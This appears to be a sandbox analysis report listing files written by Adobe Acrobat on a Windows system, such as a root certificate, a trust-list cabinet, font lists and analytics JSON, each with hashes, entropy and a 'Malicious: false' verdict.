Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklxBRpkN/ltfllXlE/HT8kuBtNNX8RolJuRdxLlGB9lQRYwpDdt:kKreT85NMa8RdWBwRd
MD5:	22C6F40FF65EE9B20D7460767EFD4CF2
SHA1:	AABA1625EC5040DB778194D3581ED6C30C39FC55
SHA-256:	23AF7F097C5A4F29E110D94D7F606CC05DC09842A2721349BE32ACBC53E9E940
SHA-512:	E891F5745A569DF957DB12831265DE6A56BE2DC0ACCA79E15FD2D5AACB0B8D1D18254A7FFAA755DA7AFD85ADAB33E48031AA0AECD43ADD274B40885AEFCE3FA2
Malicious:	false
Preview:	p...... ........B$...c..(....................................................... ..........W.....r..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kK4NL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:0iDImsLNkPlE99SNxAhUe/3
MD5:	02E2172DF864ECB4F2EC8E989E7B6BD5
SHA1:	55492611496BE57028F2105662A4B25106E6314D
SHA-256:	4215B874895015FFF6B8539DFA1B18D168E0C19DD0833D1DE7A8A4351DA6F98E
SHA-512:	737EF2BB424B7C4B016A5FD16E486CE45AA5FD127C250432066EBE919BCA551DDF53BA73F371CB000028B53011FC25DB9CBF3DD7AC6C4FD1BDD809F01F864B48
Malicious:	false
Preview:	p...... ..........0..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353708705598822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJM3g98kUwPeUkwRe9:YvXKXtvcVNGMbLUkee9
MD5:	5B2EA2855BA4D0741FDB2602DA81F067
SHA1:	E348633BACD09909024730B8DBBEC436F5DEDF70
SHA-256:	CCEB150DAE8F0F4B26B0890508CF09B03AE4F54F9855057ECEE5B2ECA06C2FDB
SHA-512:	FA21059714FE8447E26F2BFEB3075D019514D7702663114B3104C0451F5B1CEF927537C9062D1A64D68316FE93FD9F89135B30DF9102DCB0A4100A6D957C4BD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302272387997147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfBoTfXpnrPeUkwRe9:YvXKXtvcVNGWTfXcUkee9
MD5:	EB50A6354DB7B5F4A0A2D8A5B625BFD0
SHA1:	5B00D6DCAED8457AC36725E43C7D883A9C88FCD9
SHA-256:	67C1441BF38C6FDEB514169F92E06D5DCB163475411C9A6398E8FE7DEB48E170
SHA-512:	2DC45482D230791A7F5FC232B17A1A7CBF5BBCFAE9F62A90993AE36D525477AEBDC386D9DE4FE723D13C07412E943657C8AF9F5DEA1F85D5F7BB33EAC6C11DFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280411302742414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfBD2G6UpnrPeUkwRe9:YvXKXtvcVNGR22cUkee9
MD5:	3BC97B956E5ED5B30D8ACC57A39374CD
SHA1:	0200ED5286452B3920DA3F1236526C7744C18E7F
SHA-256:	E21C49CA39DBD4E5E63FD28393848461ED0BBD4EC76ACD5832AF779D683CD85D
SHA-512:	1390EE61D64B3F10F08923F533340D34F8BC8952B83C7EE98BD30EA547EBF3012E5610D287F71152432367626B36DF5D436B1E443DD449FDCA2EF61FFC12DA25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333392520535798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfPmwrPeUkwRe9:YvXKXtvcVNGH56Ukee9
MD5:	36D0E40BA3318E9C1E9B32A9C8EA4529
SHA1:	0DB6F908406AD2E55C3444CA531188FC2741CF58
SHA-256:	BF144375828B54C1C8E39508D4EF3F639F118538654FFF497AC289C5A1C184D4
SHA-512:	A2F80C57C2DF32C649FBBB64E05CBD73B83161181D8282338A3432E1DA8140219A063D5F1A6EE3CEF4BCCB19149785836B668D5BD03156F6E346901099522BDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686050433044845
Encrypted:	false
SSDEEP:	24:Yv6X6YpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvOhgy6SAFv5Ah8cv/Q
MD5:	110FBC8A4E6771BEA9708661E3A1F187
SHA1:	2711F63BA75F47161492886A2927190155575E8F
SHA-256:	F44B0F1B424E6D53C1DEDB7438310E6061693B00C19F6D8E2736FBFB0D06B7A0
SHA-512:	CB1AC9AE633019CF9B11740A53D3CF6ED5249C89C55730A58516C310756FB7961CF124C3903A29E0A42D3A8C4958016E8A8D51E2A7FB00BBA887418BB749D6EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28023251003616
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJf8dPeUkwRe9:YvXKXtvcVNGU8Ukee9
MD5:	1CBD0DBF8410CFECA8FBF5C7CE52CC8C
SHA1:	2782F25523A2E432A8A6D4E84E41FB12684F1977
SHA-256:	DE80BB7A64E66B5CD67AF4C663AD2A3C452A5A633C0437BD7CC1C362E669420F
SHA-512:	42407DB7C4B59CF87EA4810A908F2511317AEBB83C8EF026E0B0925C1000FE37CD572ACB94260E55EEE666DA8B7EF210730E5240A397BB06CAB9869D2C451986
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283087852829301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfQ1rPeUkwRe9:YvXKXtvcVNGY16Ukee9
MD5:	369E5B552EB0331968DB7265F76F98D6
SHA1:	7AC46A1322ABCF1DF60EB890819A871CB0632F45
SHA-256:	3CE1C5AE44898C43048DCFE64897DECE5A2BDBD11B3CCF06DD67F79F1BBF1A4D
SHA-512:	A5957691A2874ED40B5035C800E44EE293AA0D84C8F5420E2785020968E00BDBAF99931C645F08282E04CF74AF8498FA021D505ADBDCFD77B4682898B877548E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289620004896671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfFldPeUkwRe9:YvXKXtvcVNGz8Ukee9
MD5:	25ECFCAA8A1F9D783DBDE31F4B2CADC5
SHA1:	A933C437C9C29B1D9CDF575BD3CE24C38801186D
SHA-256:	D848AB48A8FC53FBECAE4EF38A06A71587E715CAD9C2B2841CBB44ADA020A045
SHA-512:	BA22904C524FD047D1875B5204B4A84CDFA1502177E939AED5D1BB4F40409BBAC1A06331C30153FF0C1F96A78D2151AEA27F58CC4C22DD971EC9BF25ED725D19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307756332117686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfzdPeUkwRe9:YvXKXtvcVNGb8Ukee9
MD5:	8049CD5438281B246FF0CA5385EFBBCD
SHA1:	C0C801ED8AD4A9187BBAF17387631D00978F27F3
SHA-256:	60F7C1ED081EB6A35229787A65C7706CBE319FB8A7EC73D2E16E61DD4D42D05B
SHA-512:	852F8E52C1F9DFD05160CD135170F71035199A00EB329A6C8260F367E71C7CCDE47B1B17B9E6E42C80101BAC6CA221D24552BE1E8584A30C9F90BB56BDB82187
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28815909311696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfYdPeUkwRe9:YvXKXtvcVNGg8Ukee9
MD5:	E64EA19944EB7D0E2C8715E48F467E70
SHA1:	289BA1A2B9A268BD2FEE41595A3B6509B9244A47
SHA-256:	12C3B4367CB790BEAA334C6CA7909E790B2E110C507DB58D4D851F5C1D102582
SHA-512:	94E269440BB18A11F0BB0CD97F0B26FBDEF263DE91E90D1B6C47AEBB63205613405349D35AFC21D8B30EAC1440BCC0FAC1D74D0BEAD007DC1D6CED4F621EA67F
Malicious:	false
